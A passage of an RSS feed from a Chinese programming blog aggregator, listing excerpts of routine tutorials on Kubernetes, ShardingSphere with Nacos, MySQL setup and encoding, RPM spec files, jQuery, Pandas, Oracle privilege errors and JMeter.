amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 派工单具备强大的定制化能力，可以根据各个行业不同的需求，为用户提供专属的定制化服务，以满足用户的精准需求。而且，还可以根据不同用户的权限来设置操作和管理的权限，保证信息的安全性和保密性。&#xA;&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 派工单可视化的管理界面，方便用户直观地查看和处理工单。用户可以通过图表和分析结果，直观地展现工单的情况和趋势，为决策提供数据参考。</description>
    </item>
    <item>
      <title>如何查看k8s版本</title>
      <link>https://bchobby.github.io/posts/beeaaee9daaad8afb7651bf13604f3c7/</link>
      <pubDate>Sat, 07 Oct 2023 16:26:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/beeaaee9daaad8afb7651bf13604f3c7/</guid>
      <description> 使用kubectl version 命令即可查看&#xA;[root@node6 ~]# kubectl version Client Version: v1.28.2 Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3 The connection to the server localhost:8080 was refused - did you specify the right host or port? [root@node6 ~]# 输出信息详解：&#xA;client代表kubectl版本信息 </description>
    </item>
    <item>
      <title>ShardingSphereJDBC5.4.0支持Nacos配置（SpringCloud版）</title>
      <link>https://bchobby.github.io/posts/6fbd186721f18c484f6e432e885d895d/</link>
      <pubDate>Sat, 07 Oct 2023 15:55:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fbd186721f18c484f6e432e885d895d/</guid>
      <description>背景 在ShardingSphere在5.3.0版本之前，我们可以通过依赖shardingsphere-jdbc-core-spring-boot-starter模块，在application.yml文件里配置数据库连接信息。再结合spring-cloud-starter-alibaba-nacos-config，在项目启动时，从Nacos后台动态的拉取数据库配置，实现了配置文件和代码分离，避免了改配置需要重新打包。在5.3.0之后（包含），ShardingSphere由于兼容各个spring版本造成工作量巨大，而放弃了对spring的支持，提供了另一种方式ShardingSphere Driver来连接数据库（ issue-22469）。但使用ShardingSphere Driver后，也就无法通过spring-cloud-starter-alibaba-nacos-config自动载入数据库配置。&#xA;ShardingSphere Driver为什么无法支持Nacos ShardingSphere Driver的核心是自己提供了ShardingSphereDriver，从而支持这种格式的JDBC URL：jdbc:shardingsphere:${path}/config.yaml。我们可以把ShardingSphere的规则写到config.yaml文件里，然后通过ShardingSphereDriverURLProvider（5.4.1后改名ShardingSphereURLProvider）接口来支持不同的${path}的文件寻址方式。默认支持&#xA;absolutepath（服务器绝对路径）、classpath、apollo（5.4.1把功能挪到了ShardingSphere plugin仓库里）。所以在官方实现里，并不支持通过Nacos获取config.yaml信息。需要在Spring Boot项目里支持Nacos，就要自定义Nacos的ShardingSphereURLProvider。&#xA;Nacos的ShardingJdbcURLProvider ShardingSphereDriverURLProvider是通过SPI的方式实现扩展，我们在自定义ShardingJdbcNacosURLProvider后，要把ShardingJdbcNacosURLProvider类信息放到META-INF/services/org.apache.shardingsphere.driver.jdbc.core.driver.ShardingSphereDriverURLProvider文件里，这样就被ShardingSphere找到。自定义支持Nacos的ShardingSphereURLProvider 大概长这样：&#xA;public final class ShardingJdbcNacosURLProvider implements ShardingSphereDriverURLProvider {&#xA;private static final String CLASSPATH_TYPE = &#34;nacos:&#34;;&#xA;private static final String URL_PREFIX = &#34;jdbc:shardingsphere:&#34;;&#xA;@Override&#xA;public boolean accept(final String url) {&#xA;return !Strings.isNullOrEmpty(url) &amp;amp;&amp;amp; url.contains(CLASSPATH_TYPE);&#xA;}&#xA;@SneakyThrows&#xA;@Override&#xA;public byte[] getContent(String url) {&#xA;String configPath = url.substring(URL_PREFIX.length(), url.contains(&#34;?&#34;) ? url.indexOf(&#39;?&#39;) : url.length());&#xA;String dataId = configPath.substring(CLASSPATH_TYPE.length());</description>
    </item>
    <item>
      <title>it端到端运营监控</title>
      <link>https://bchobby.github.io/posts/4621f184fcd95253e4538a465d0dae34/</link>
      <pubDate>Sat, 07 Oct 2023 15:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4621f184fcd95253e4538a465d0dae34/</guid>
      <description> 公司的运维监控已成为确保业务顺利运行的关键。特别是对于IT部门，端到端运维监控不仅可以帮助企业及时发现和解决问题，还可以提高业务效率，优化客户体验。端到端运维监控的概念、重要性及其实施方法。&#xA;端到端操作监控的概念 端到端操作监控，顾名思义，是通过一系列监控工具和技术，从业务端（如操作界面或设备）逐步监控到业务另一端（如数据库或服务器）的全过程。这种监控方法可以确保企业的每个部门都能在稳定状态下运行，从而提高整体业务效率。 端到端操作监控的必要性 及时发现和解决问题：根据端到端运行监控，企业可以实时监控业务状态。一旦发现问题，就可以立即解决，防止问题扩大，减少损失。 提升业务效率：端到端运维监控帮助企业发现工作过程中的瓶颈和消耗，进而优化，提升业务效率。 优化客户体验：根据端到端运维监控，企业可以实时了解客户需求和反馈，提供更好的服务，提升客户体验。 端到端操作监控的实施方法 选择合适的监控工具：市场上有许多优秀的监控工具，如Zabbix、Nagios等，企业应根据自己的需要和预算，选择合适的工具。 设计合理的监管对策：企业应根据自身的业务特点和需要，设计合理的监管对策，包括监控内容、频率、方法等。 建立和完善报案制度：当监控系统检测到问题时，应立即发出声音，让相关人员妥善处理。 建立可持续改进的制度：公司应经常对监控系统进行评估和改进，以确保其始终能够有效地适用于业务运行。 端到端运行监控是保证企业业务顺利运行的关键。企业应重视并投入资源选择监控工具、设计监管战略、建立报告制度和不断完善的制度建设，实现业务高效运行，提升客户体验，最终促进企业的长远发展。 </description>
    </item>
    <item>
      <title>从php页面插入MySQL的数据变为乱码如何解决？</title>
      <link>https://bchobby.github.io/posts/c27a931843529af59aaaae00db8cac6d/</link>
      <pubDate>Sat, 07 Oct 2023 15:42:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27a931843529af59aaaae00db8cac6d/</guid>
      <description>在 PHP 页面中向 MySQL 数据库插入数据时，如果数据出现乱码，可能是因为字符集设置不正确或者字符编码不匹配。&#xA;数据库字符集设置不正确：&#xA;确保数据库的字符集设置与您的应用程序所使用的字符集一致。通常情况下，UTF-8 是一个通用的字符集，适用于多种语言。您可以在 MySQL 中执行以下查询来查看和更改数据库的字符集设置： -- 查看数据库的字符集设置 SHOW VARIABLES LIKE &#39;character_set_database&#39;; -- 更改数据库的字符集设置（以UTF-8为例） ALTER DATABASE your_database_name CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; 数据库连接字符集设置：&#xA;在 PHP 中，您可以通过设置连接的字符集来确保与数据库进行通信时使用相同的字符集。可以使用以下代码在 PHP 中设置连接的字符集： // 在连接到数据库后，设置连接的字符集 mysqli_set_charset($connection, &#34;utf8mb4&#34;); 表的字符集设置：&#xA;确保数据库表也使用正确的字符集。您可以在创建表时指定字符集，或者在已有的表上更改字符集。 数据编码和存储：&#xA;在插入数据之前，确保 PHP 中的数据以正确的字符编码表示。通常情况下，使用 UTF-8 编码会比较安全。确保插入数据时，数据与表的字符集一致。如果需要转换数据，可以使用 PHP 中的编码转换函数，例如 iconv() 或 mb_convert_encoding()。 输出字符集：&#xA;最后，确保从数据库中检索和输出数据时，也使用正确的字符集。在 PHP 页面中设置响应头部的字符编码也是一个好做法： header(&#34;Content-Type: text/html; charset=utf-8&#34;); 通过确保数据库、连接、表、数据编码和输出都使用一致的字符集和编码，您可以解决从 PHP 页面插入数据导致乱码的问题。</description>
    </item>
    <item>
      <title>01_MySQL下载、安装与配置(以MySQL8.0.31版本为例)</title>
      <link>https://bchobby.github.io/posts/d402be02c141db3ecb5d9c918bae6fcc/</link>
      <pubDate>Sat, 07 Oct 2023 14:46:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d402be02c141db3ecb5d9c918bae6fcc/</guid>
      <description>一. 下载MySQL（MySQL的官网地址：https://www.mysql.com/）&#xA;1.进入官网 点击DOWNLOADS&#xA;2.这里我们选择社区免费版本，对于个人开发者而言够用&#xA;3.点击MySQL Community Server&#xA;4.操作系统选择windows，然后点击go to download page&#xA;5.这里我们选择离线的安装包(推荐)&#xA;第一个是在线安装 第二个是离线安装&#xA;6.选择最下面的No thanks，just start my download 就会弹出下载界面啦&#xA;7.下载成功后，指定目录会有一个mysql的安装包&#xA;二、安装MySQL&#xA;1.点击下载好的mysql安装包 进入到mysql installer界面&#xA;选择custom(可以自己选择路径或配置)点击next 2.选择MySQL Servers选项 一直下拉&#xA;选中MySQL Server 8.0.31 -x64 然后点击绿色箭头选项就被拖过去了 3.选择安装路径&#xA;- 点击被拖过去的mysql选项(1)&#xA;- 然后选择安装路径(2) 再点击next&#xA;(1)&#xA;(2)&#xA;install Directory是MySQL软件的安装路径&#xA;Data Directory是MySQL数据库数据存放的路径&#xA;注：如果选择安装路径时下面警告选择路径已经存在，这是因为该路径下已经有此文件夹（建议是直接在路径中输入文件夹的名字 让它自动生成）&#xA;4.点击Execute&#xA;5.继续next&#xA;6.默认选择Development Computer 然后next&#xA;7.默认选择 点击next&#xA;8.输入数据库密码(一定要自己能记住)&#xA;9.可以修改数据库服务名字(名字默认有MySQL80 因为版本是8.0版本) 然后next&#xA;10.继续next&#xA;11.点击Execute&#xA;12.全都绿了表示成功 点击finish结束&#xA;13.接下里就默认next和finish结束MySQL的安装&#xA;三、配置环境变量&#xA;1.右键此电脑 属性(win11为例)&#xA;或者打开此电脑后在上方的工具栏中找到属性</description>
    </item>
    <item>
      <title>Bad owner or permissions on C:\\Users\\tab.wei/.ssh/config</title>
      <link>https://bchobby.github.io/posts/2a21ead69495edea72f7f07811c54217/</link>
      <pubDate>Sat, 07 Oct 2023 14:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a21ead69495edea72f7f07811c54217/</guid>
      <description>How can I fix bad owner or permissions on SSH config? 2 Ways to Fix bad Owner or Permissions on SSH Config (windowsreport.com)</description>
    </item>
    <item>
      <title>vue3 访问 public 内文件</title>
      <link>https://bchobby.github.io/posts/844f67b33810b6dddc0d0b34000dc9a0/</link>
      <pubDate>Sat, 07 Oct 2023 14:23:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/844f67b33810b6dddc0d0b34000dc9a0/</guid>
      <description>一、访问 JSON 文件 方法：使用 axios 读取文件 （1）在 public 文件夹下创建 json 文件&#xA;（2）在需要自定义配置的页面使用 axios 读取此 json 文件：&#xA;axios.request({ url: &#39;/app/app-config.json&#39;, // 直接填写json文件在public下的路径即可 method: &#39;get&#39;, }).then(res =&amp;gt; { this.appData = res.data }).catch(err =&amp;gt; { alert(&#34;抱歉，服务出错！&#34;) }) （3）实际项目中会将 axios 方法进行封装，可直接使用调用接口方法：&#xA;// api 文件： getAppConfig() { const url = &#39;/app/app-config.json&#39; return fetchGet(url) } // 实际使用： const appConfigRes = await api.getAppConfig() const appConfig = appConfigRes.data 如果有问题，如果部署之后有可能会访问不到 json 文件。需要在 路径前面添加 BASE_URL 地址&#xA;const url = process.</description>
    </item>
    <item>
      <title>vscode 配置默认shell</title>
      <link>https://bchobby.github.io/posts/f725b72b02140891484bf14cfd884136/</link>
      <pubDate>Sat, 07 Oct 2023 10:52:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f725b72b02140891484bf14cfd884136/</guid>
      <description>vscode 配置默认shell 最简单方式&#xA;&#34;terminal.integrated.defaultProfile.osx&#34;: &#34;zsh&#34;,&#xA;也可以自定义，参考 https://code.visualstudio.com/docs/terminal/profiles&#xA;terminal 修改默认shell&#xA;change your default shell to zsh&#xA;chsh -s /bin/zsh</description>
    </item>
    <item>
      <title>rpm包制作脚本spec文件书写指南</title>
      <link>https://bchobby.github.io/posts/47e0ad82703412ec265bec77ea05b98c/</link>
      <pubDate>Sat, 07 Oct 2023 10:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47e0ad82703412ec265bec77ea05b98c/</guid>
      <description>文章目录 一、软件包描述1.1、Name：1.2、Version1.3、Release1.4、Vendor1.5、Summary1.6、License/Copyright1.7、URL1.8、Source1.9、Group1.10、Patch1.11、BuildRoot1.12、Requires1.13、Packager1.14、`%description`1.15、BuildArch 二、软件包生成各阶段操作2.1、`%prep`2.2、`%build`2.3、`%install`2.4、`%clean`2.5、`%check` 三、包的应用性脚本3.1、`%pre`3.2、`%post`3.3、`%preun`3.4、`%postun` 四、包配置信息4.1、`%files`4.2、`%changelog`4.3、`%doc`4.4、`%dir`4.5、`%config(noreplace)`4.6、`%attr` 参考文档 spec 文件用于制作rpm包，包含了软件包的诸多信息，如软件包的名字、版本、类别、说明摘要、创建时要执行什么指令、安装时要执行什么操作、以及软件包所要包含的文件列表等等。示例如下： Name: myprogram Version: 1.0 Release: 1 Vendor: Jaun Summary: My program License: GPL URL: http://myprogram.com Source0: myprogram-1.0.tar.gz Group: Development/Tools BuildRequires: gcc %description My program is a simple example program. %prep %setup -q %build ./configure make %install make install DESTDIR=%{buildroot} %clean rm -rf %{buildroot} %files %defattr(-,root,root) /sbin/myprogram %post /sbin/ldconfig /sbin/myprogram %preun /sbin/ldconfig /sbin/myprogram %postun /sbin/ldconfig %changelog 以下就各个参数分类介绍&#xA;一、软件包描述 1.1、Name： 软件包的名称，之后可以使用%{name}的方式进行引用,最终RPM软件包是用该名字与版本号，释出号及体系号来命名软件包的。&#xA;1.2、Version 软件包的版本号,之后可以使用%{version}的方式进行引用,仅当软件包比以前有较大改变时才增加版本号。</description>
    </item>
    <item>
      <title>KF32 PWM与IC</title>
      <link>https://bchobby.github.io/posts/222c761e2a09b802f0b8ca744d808e2b/</link>
      <pubDate>Sat, 07 Oct 2023 09:56:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/222c761e2a09b802f0b8ca744d808e2b/</guid>
      <description>一、介绍 PWM(脉冲调制)利用mcu的数字输出实现对模拟电路的控制，来输出不同的电压。可以用来控制灯的亮度，输出不同占空比，灯的亮度不同，可实现呼吸灯的功能；还可以输出不同占空比控制电机的转速。&#xA;使用pwm实现呼吸灯功能，在低电平灯会灭，只是时间短，肉眼观察不到。&#xA;IC输入捕获模块，可测量PWM的频率和占空比。&#xA;二、重要参数 频率（f）&#xA;单位时间内完成高低电平变化的次数。&#xA;占空比&#xA;一个脉冲周期内，高电平的时间占整个周期时间的比例。例：占空比为50%，25%，如下图：&#xA;三、定时器与PWM 1.先了解一下定时器计数模式（以Timer_A为例）&#xA;比较器TAxCCR0为16位周期寄存器，最大值为0FFFFh。&#xA;（1）增计数&#xA;计数器TAR可以增计数到TAxCCR0的值，增加到的最大值由TAxCCR0的值决定，增加到TAxCCR0后，再重新从0开始计数。例TA0CCR0=5000；计数器TAR由0增加到5000，再从0重新计数。&#xA;（2）连续计数&#xA;计数器TAR可以增计数到0FFFFh的值，再重新从0开始计数。&#xA;（3）增减计数&#xA;计数器TAR可以增计数到TAxCCR0的值，增加到的最大值由TAxCCR0的值决定，由0增加到TAxCCR0后，然后从TAxCCR0开始减少到0，再重新计数，周期为增模式的2倍。例TA0CCR0=5000；计数器TAR由0增加到5000，再从5000减少到0。&#xA;2.使用定时器产生PWM波形（增模式）&#xA;占空比调节（捕获/比较值）ccpx。&#xA;计数器TAR的值小于ccpx的值时，IO 输出高电平 ，计数器TAR的值大等于ccpx的值时，IO 输出低电平 ，这样就输出了方波。&#xA;改变ccpx的值就可以改变占空比的大小，而改变比较器TAxCCR0值，即改变周期。&#xA;四、程序 PWM 1.初始化 //配置为 重映射IO口功能模式 ，以PA0为例&#xA;GPIO_Write_Mode_Bits(GPIOA_SFR, GPIO_PIN_MASK_0, GPIO_MODE_RMP);&#xA;//引脚映射AF选择，需要查询手册确认&#xA;GPIO_Pin_RMP_Config(GPIOA_SFR, GPIO_Pin_Num_0 ,GPIO_RMP_AF11);&#xA;2.输出不同占空比波形 //入参为ccpx，通道，选择需要查手册，周期，占空比（0—100）&#xA;void CCPx_PWM_PPX_Duty(CCP_SFRmap *CCPx, uint32_t Channel, uint16_t Period, uint16_t Duty)&#xA;{&#xA;/* 定时器外设复位，启用外设时钟*/&#xA;TIM_Reset(CCPx);&#xA;/* PWM功能通道模式*/&#xA;CCP_PWM_Mode_Config(CCPx, Channel, CCP_PWM_MODE);&#xA;/* 配置CCP通道输出以控制PWM输出，高效 */&#xA;CCP_Channel_Output_Control(CCPx, Channel, CCP_CHANNEL_OUTPUT_PWM_ACTIVE);&#xA;/* 设置PWM占空比 */&#xA;CCP_Set_Compare_Result(CCPx, Channel, Duty);</description>
    </item>
    <item>
      <title>初识数据结构与算法</title>
      <link>https://bchobby.github.io/posts/cd884ea5cba8836c334f6ec1d1deca91/</link>
      <pubDate>Fri, 06 Oct 2023 23:58:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd884ea5cba8836c334f6ec1d1deca91/</guid>
      <description> 一、什么是算法 算法定义&#xA;「算法 algorithm」是在有限时间内解决特定问题的一组指令或操作步骤，它具有以下特性&#xA;问题是明确的，包含清晰的输入和输出定义。具有可行性，能够在有限步骤、时间和内存空间下完成。各步骤都有确定的含义，相同的输入和运行条件下，输出始终相同。 二、什么是数据结构 数据结构定义&#xA;「数据结构 data structure」是计算机中组织和存储数据的方式，具有以下设计目标&#xA;空间占用尽量减少，节省计算机内存。数据操作尽可能快速，涵盖数据访问、添加、删除、更新等。提供简洁的数据表示和逻辑信息，以便使得算法高效运行。 数据结构设计是一个充满权衡的过程。如果想要在某方面取得提升，往往需要在另一方面作出妥协。下面举两个例子：&#xA;链表相较于数组，在数据添加和删除操作上更加便捷，但牺牲了数据访问速度。图相较于链表，提供了更丰富的逻辑信息，但需要占用更大的内存空间。 三、数据结构与算法的关系 数据结构是算法的基石。数据结构为算法提供了结构化存储的数据，以及用于操作数据的方法。算法是数据结构发挥作用的舞台。数据结构本身仅存储数据信息，结合算法才能解决特定问题。算法通常可以基于不同的数据结构进行实现，并往往有对应最优的数据结构，但最终执行效率可能相差很大。 </description>
    </item>
    <item>
      <title>jquery 下拉菜单</title>
      <link>https://bchobby.github.io/posts/a6f0c90cf2886c19733862b866c366d9/</link>
      <pubDate>Fri, 06 Oct 2023 22:18:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6f0c90cf2886c19733862b866c366d9/</guid>
      <description>html中有下拉的组件，但是样式不太好看并且还不能修改原有的样式，于是乎就准备自己写一个。&#xA;1.html的下拉组件select使用。&#xA;选择城市 &amp;lt;select &amp;gt; &amp;lt;option value=&#34;&#34;&amp;gt;城市1&amp;lt;/option&amp;gt; &amp;lt;option value=&#34;&#34;&amp;gt;城市2&amp;lt;/option&amp;gt; &amp;lt;option value=&#34;&#34;&amp;gt;城市3&amp;lt;/option&amp;gt; &amp;lt;option value=&#34;&#34;&amp;gt;城市4&amp;lt;/option&amp;gt; &amp;lt;option value=&#34;&#34;&amp;gt;城市5&amp;lt;/option&amp;gt; &amp;lt;/select&amp;gt; 2.直接手撸一个，大致思路就是一个input点击下面的列表显示，点击选中元素拿到值赋给input的val让后隐藏下拉。这是单个，多个的话就需要拿到$(this)和id传递给方法让后隐藏或者显示就是当前元素再拿到选中的值赋值给传递过来的input就ok了。&#xA;&amp;lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=Edge,chrome=1&#34;&amp;gt; &amp;lt;title&amp;gt;下拉菜单&amp;lt;/title&amp;gt; &amp;lt;meta name=&#34;keywords&#34; content=&#34;关键词&#34; /&amp;gt; &amp;lt;meta name=&#34;description&#34; content=&#34;描述&#34; /&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://bchobby.github.io/static/js/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://bchobby.github.io/static/js/jquery.SuperSlide.2.1.1.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;style&amp;gt; .content { display: flex; justify-content: space-between; margin: 37px auto 180px; } input{ outline-style: none; } input:focus { border: 1px solid red !</description>
    </item>
    <item>
      <title>用 VS Code 运行 C 语言（安装 VS Code，mingw 的下载和安装）</title>
      <link>https://bchobby.github.io/posts/bfe27bc772d220cbcfe8009a11955a7d/</link>
      <pubDate>Fri, 06 Oct 2023 21:13:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfe27bc772d220cbcfe8009a11955a7d/</guid>
      <description>下载并安装 VS code。&#xA;安装扩展包：&#xA;此时，写完代码右键之后并没有运行代码的选项，如图：&#xA;接下来安装编译器 mingw。&#xA;下载链接：&#xA;https://sourceforge.net/projects/mingw-w64/&#xA;得到压缩包：&#xA;解压：&#xA;给电脑添加环境变量：&#xA;添加成功：&#xA;检验下安装是否成功：&#xA;VS Code 内再安装扩展 code runner：&#xA;此时右键有运行代码的选项：&#xA;运行成功：</description>
    </item>
    <item>
      <title>Pandas库学习</title>
      <link>https://bchobby.github.io/posts/2c0fa731784212ed1850b01686950f40/</link>
      <pubDate>Fri, 06 Oct 2023 17:20:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c0fa731784212ed1850b01686950f40/</guid>
      <description>Pandas的Series相当于添加了序号的一维array，Dataframe相当于添加了序号的二维array。(默认序号是从0开始计数)&#xA;1、Pandas属性 Series import pandas as pd import numpy as np a = pd.Series([1,2,3,np.nan,4],index=[&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;]) print(a) 结果： a 1.0 b 2.0 c 3.0 d NaN e 4.0 dtype: float64 Dataframe import pandas as pd import numpy as np np.random.seed(1) a = pd.DataFrame(np.random.randint(0,5,(4,3)), index=[&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;], columns=[&#39;cat&#39;, &#39;dog&#39;, &#39;car&#39;]) print(&#39;DataFrame:\n&#39;,a) print(&#39;DataFrame行名:\n&#39;,a.index) print(&#39;DataFrame列名:\n&#39;,a.columns) print(&#39;DataFrame值:\n&#39;,a.values) print(&#39;DataFrame每列的统计特征:\n&#39;,a.describe()) print(&#39;DataFrame按index排序:\n&#39;,a.sort_index(axis=1)) print(&#39;DataFrame按值排序:\n&#39;,a.sort_values(by=&#39;car&#39;,ascending=False)) print(&#39;DataFrame翻转:\n&#39;,a.T) 结果: DataFrame: cat dog car a 3 4 0 b 1 3 0 c 0 1 4 d 4 1 2 DataFrame行名: Index([&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;], dtype=&#39;object&#39;) DataFrame列名: Index([&#39;cat&#39;, &#39;dog&#39;, &#39;car&#39;], dtype=&#39;object&#39;) DataFrame值: [[3 4 0] [1 3 0] [0 1 4] [4 1 2]] DataFrame每列的统计特征: cat dog car count 4.</description>
    </item>
    <item>
      <title>jQuery 菜鸟教程学习</title>
      <link>https://bchobby.github.io/posts/d85957a78b002040d74c7c61e4675159/</link>
      <pubDate>Fri, 06 Oct 2023 17:08:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d85957a78b002040d74c7c61e4675159/</guid>
      <description>jQuery 是一个 JavaScript 库。jQuery 极大地简化了 JavaScript 编程。&#xA;$(document).ready() $(document).ready() 方法允许我们在文档完全加载完后执行函数。&#xA;jQuery 选择器 jQuery 选择器允许您对 HTML 元素组或单个元素进行操作。&#xA;jQuery 选择器基于元素的 id、类、类型、属性、属性值等&#34;查找&#34;（或选择）HTML 元素。 它基于已经存在的 CSS 选择器，除此之外，它还有一些自定义的选择器。&#xA;jQuery 中所有选择器都以美元符号开头：$()。&#xA;$(this).hide() 演示 jQuery 的 hide() 函数，隐藏当前的 HTML 元素。 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;菜鸟教程(runoob.com)&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;https://cdn.staticfile.org/jquery/2.0.0/jquery.min.js&#34;&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; $(document).ready(function(){ $(&#34;button&#34;).click(function(){ $(this).hide(); }); }); &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;button&amp;gt;点我&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 标签选择器$(&#34;p&#34;).hide() 演示 jQuery 的 hide() 函数，隐藏所有 &amp;lt;p&amp;gt; 元素。 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;菜鸟教程(runoob.</description>
    </item>
    <item>
      <title>【Oracle点滴积累】Error ORA-01031 Insufficient Privileges</title>
      <link>https://bchobby.github.io/posts/699eeeb6ce1e4dbfb2fc3e0bdf191cff/</link>
      <pubDate>Fri, 06 Oct 2023 16:55:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/699eeeb6ce1e4dbfb2fc3e0bdf191cff/</guid>
      <description>现象： sqlplus / as sysdba ora-01031:insufficient privileges&#xA;1． 检查sqlnet.ora 文件&#xA;sqlnet.ora 文件损坏或格式不对可以导致出现该问题。 sqlnet.ora 文件可能存放路径为&#xA;$ORACLE_HOME/network/admin/sqlnet.ora 或 $HOME/sqlnet.ora (1). 可以从别的机器拷贝一个文件过来，注意备份原来的sqlnet.ora。 ---检查sqlnet.ora 文件内容 (2). 检查SQLNET.AUTHENTICATION_SERVICES 如果没有使用dblink.检查该行并设置 Windows Server:SQLNET.AUTHENTICATION_SERVICES = (NTS) Linux Server: SQLNET.AUTHENTICATION_SERVICES = (ALL)&#xA;(3). SQLNET.CRYPTO_SEED 在unix 下不需要该参数。如果存在该行，注释掉或删掉 (4).AUTOMATIC_IPC 如果该参数为 ON，将强制使用&#34;TWO_TASK&#34; 连接 最好设置为OFF AUTOMATIC_IPC = OFF 2． 检查相关文件的权限配置找到$ORACLE_HOME/network/admin/* $ cd $ORACLE_HOME/network/admin/ $ chmod 644 sqlnet.ora tnsnames.ora listener.ora $ ls -l sqlnet.ora tnsnames.ora listener.ora -rw-r--r-- 1 oracle dba 1628 Jul 12 15:25 listener.</description>
    </item>
    <item>
      <title>Jmeter(五十四) - 从入门到精通高级篇 - 如何在linux系统下运行jmeter脚本 - 上篇（详解教程）</title>
      <link>https://bchobby.github.io/posts/4bcd0d684e2935f8b68d7ec1051d6dc8/</link>
      <pubDate>Fri, 06 Oct 2023 16:37:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bcd0d684e2935f8b68d7ec1051d6dc8/</guid>
      <description>1.简介 上一篇已经介绍了如何在Linux系统中安装Jmeter，想必各位小伙伴都已经在Linux服务器或者虚拟机上已经实践并且都已经成功安装好了，那么今天宏哥就来介绍一下如何在Linux系统下运行Jmeter脚本。&#xA;2.具体步骤 2.1创建Jmeter测试脚本 你要在Linux系统中运行Jmeter脚本首先要有Jmeter。在Windows系统中启动jmeter，创建Jmeter测试脚本，这里以访问我博客首页为例&#xA;1.启动Jmeter后，添加线程组，如下图所示：&#xA;如果你想学习自动化测试，我这边给你推荐一套视频，这个视频可以说是B站播放全网第一的自动化测试教程，同时在线人数到达1000人，并且还有笔记可以领取及各路大神技术交流：798478386 【已更新】B站讲的最详细的Python接口自动化测试实战教程全集（实战最新版）_哔哩哔哩_bilibili【已更新】B站讲的最详细的Python接口自动化测试实战教程全集（实战最新版）共计200条视频，包括：1、接口自动化之为什么要做接口自动化、2、接口自动化之request全局观、3、接口自动化之接口实战等，UP主更多精彩视频，请关注UP账号。https://www.bilibili.com/video/BV17p4y1B77x/?spm_id_from=333.337 2.选中“线程组”，添加取样器“HTTP请求”，如下图所示：&#xA;3.选中“HTTP请求”，添加监听器“察看结果树”，如下图所示：&#xA;4.点击保存按钮，脚本保存为test.jmx，运行脚本进行调试直到调试成功，如下图所示：&#xA;5.将线程组修改成100，然后保存，将文件上传至linux服务器。&#xA;2.2运行脚本 1.在Linux服务器的usr目录下创建一个test文件夹，如下图所示：&#xA;2.将在Windows调试好的基本上传到此文件夹中，如下图所示：&#xA;3.将脚本上传至linux服务器，然后就在当前的test目录下，输入命令 jmeter -n -t test.jmx -l log.jtl ，运行jmeter脚本。运行结果，如下图所示：&#xA;4.将脚本上传至linux服务器，或者进入jmeter的bin目录下，输入命令 jmeter -n -t /usr/test/test.jmx -l /usr/test/log.jtl ，运行jmeter脚本。运行结果，如下图所示： PS：常用命令解析：&#xA;# 常见命令说明 -h 帮助：打印出有用的信息并退出 -n 非 GUI 模式：在非 GUI 模式下运行 JMeter -t 测试文件：要运行的 JMeter 测试脚本文件 -l 日志文件：记录结果的文件 -r 远程执行：启动远程服务 -H 代理主机：设置 JMeter 使用的代理主机 -P 代理端口：设置 JMeter 使用的代理主机的端口号 5.跑完之后，在test目录下，生成两个文件：一个是jmeter.log(jmeter运行日志)，一个是我们的性能结果文件(log.jtl)，我们用命令把log.jtl文件导入windows系统就能查看结果了,如下图所示：&#xA;2.3查看测试报告 